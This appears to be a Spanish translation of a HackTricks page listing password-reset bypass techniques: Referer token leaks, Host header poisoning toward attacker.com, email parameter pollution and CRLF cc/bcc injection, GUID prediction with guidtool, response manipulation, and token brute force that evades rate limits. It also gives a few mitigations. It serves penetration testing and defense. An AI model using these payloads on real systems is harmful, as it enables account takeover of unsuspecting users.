15 KiB
Bypass de restablecimiento/olvido de contraseña
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Sigue a HackenProof para aprender más sobre errores web3
🐞 Lee tutoriales de errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
Las siguientes técnicas de recompilación se tomaron de https://anugrahsr.github.io/posts/10-Password-reset-flaws/
Fuga de token de restablecimiento de contraseña a través del referente
El referente HTTP es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página solicitada actualmente.
Explotación
- Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico
- Haz clic en el enlace de restablecimiento de contraseña
- No cambies la contraseña
- Haz clic en cualquier sitio web de terceros (por ejemplo, Facebook, Twitter)
- Intercepta la solicitud en el proxy de Burpsuite
- Comprueba si el encabezado del referente está filtrando el token de restablecimiento de contraseña.
Impacto
Permite a la persona que tiene el control de un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
Referencia:
- https://hackerone.com/reports/342693
- https://hackerone.com/reports/272379
- https://hackerone.com/reports/737042
- https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
- https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
Envenenamiento de restablecimiento de contraseña
¡Si encuentras un ataque de encabezado de host y está fuera de alcance, intenta encontrar el botón de restablecimiento de contraseña!
Explotación
- Intercepta la solicitud de restablecimiento de contraseña en Burpsuite
- Agrega el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
- Verificar si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
Parche
Usar $_SERVER['SERVER_NAME']
en lugar de $_SERVER['HTTP_HOST']
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
Impacto
El usuario víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic en él, filtrará el enlace / token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma completa de la cuenta.
Referencia:
- https://hackerone.com/reports/226659
- https://hackerone.com/reports/167631
- https://www.acunetix.com/blog/articles/password-reset-poisoning/
- https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
- https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
Restablecimiento de contraseña manipulando el parámetro de correo electrónico
Explotación
- Agregar el correo electrónico del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Agregar el correo electrónico del atacante como segundo parámetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Agregar el correo electrónico del atacante como segundo parámetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Agregar el correo electrónico del atacante como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Agregar el correo electrónico del atacante como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Agregar el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
Referencia
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Cambiando el correo electrónico y la contraseña de cualquier usuario a través de parámetros de API
Explotación
- El atacante debe iniciar sesión con su cuenta e ir a la función de Cambiar contraseña
- Inicie Burp Suite e intercepte la solicitud
- Después de interceptar la solicitud, envíela al repetidor y modifique los parámetros Correo electrónico y Contraseña.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
Referencia
Sin límite de tasa: bombardeo de correo electrónico
Explotación
- Inicie Burp Suite e intercepte la solicitud de restablecimiento de contraseña
- Envíelo a intruso
- Use carga útil nula
Referencia
Descubra cómo se genera el token de restablecimiento de contraseña
Descubra el patrón del token de restablecimiento de contraseña
Si es
- Generado en función de la marca de tiempo
- Generado en función del ID de usuario
- Generado en función del correo electrónico del usuario
- Generado en función del nombre y apellido
- Generado en función de la fecha de nacimiento
- Generado en función de la criptografía
Use Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
GUID adivinable
Existen diferentes tipos de GUID:
- Versión 0: Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
- Versión 1: El GUID se genera de manera predecible en función de:
- La hora actual
- Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUID durante el tiempo de actividad del sistema generador
- Un "ID de nodo", que se genera en función de la dirección MAC del sistema si está disponible
- Versión 3: El GUID se genera utilizando un hash MD5 de un nombre y un espacio de nombres proporcionados.
- Versión 4: El GUID se genera aleatoriamente.
- Versión 5: El GUID se genera utilizando un hash SHA1 de un nombre y un espacio de nombres proporcionados.
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: guidtool****
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
Si se utiliza la versión 1 para generar un GUID de restablecimiento de contraseña, es posible realizar un ataque de fuerza bruta sobre los GUID.
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
Referencias
Manipulación de respuesta: Reemplazar una respuesta mala por una buena
Busque solicitudes y respuestas como estas.
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
Cambiar la respuesta
Descripción
A veces, cuando se solicita un restablecimiento de contraseña, el servidor devuelve una respuesta que puede ser útil para un atacante. Por ejemplo, puede indicar si el correo electrónico proporcionado está registrado en el sistema o no. Si el servidor devuelve una respuesta diferente para una dirección de correo electrónico que está registrada en el sistema y otra para una que no lo está, un atacante puede usar esto para enumerar direcciones de correo electrónico válidas.
Prueba de concepto
Para probar si el servidor devuelve diferentes respuestas para direcciones de correo electrónico válidas e inválidas, puede enviar solicitudes de restablecimiento de contraseña para direcciones de correo electrónico que sabe que están registradas en el sistema y para direcciones que no lo están. Luego, compare las respuestas para ver si hay alguna diferencia.
Mitigación
Para evitar que un atacante use este método para enumerar direcciones de correo electrónico válidas, el servidor debe devolver la misma respuesta para todas las solicitudes de restablecimiento de contraseña, independientemente de si la dirección de correo electrónico proporcionada está registrada en el sistema o no.
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
Referencia
Usando Token Expirado
- Verificar si el token expirado puede ser reutilizado.
Fuerza Bruta en Token de Restablecimiento de Contraseña
Intentar hacer fuerza bruta en el token de restablecimiento de contraseña usando Burpsuite.
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
- Usa IP-Rotator en burpsuite para evitar el límite de velocidad basado en IP.
Referencia
Intenta Usar Tu Token
- Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
Referencia
Invalidación de sesión en cierre de sesión / restablecimiento de contraseña
Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe invalidarse.
Por lo tanto, captura las cookies mientras el usuario está conectado, cierra sesión y verifica si las cookies siguen siendo válidas.
Repite el proceso cambiando la contraseña en lugar de cerrar sesión.
Tiempo de expiración del token de restablecimiento
Los tokens de restablecimiento deben tener un tiempo de expiración, después del cual el token no debería ser válido para cambiar la contraseña de un usuario.
Comprobaciones adicionales
- Usa username@burp_collab.net y analiza la devolución de llamada
- Usuario con copia de correo electrónico = victim@mail.com%0a%0dcc:hacker@mail.com
- Una contraseña larga (> 200) conduce a DoS
- Agrega un segundo parámetro y valor de correo electrónico
Sigue a HackenProof para aprender más sobre errores web3
🐞 Lee tutoriales de errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos.
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.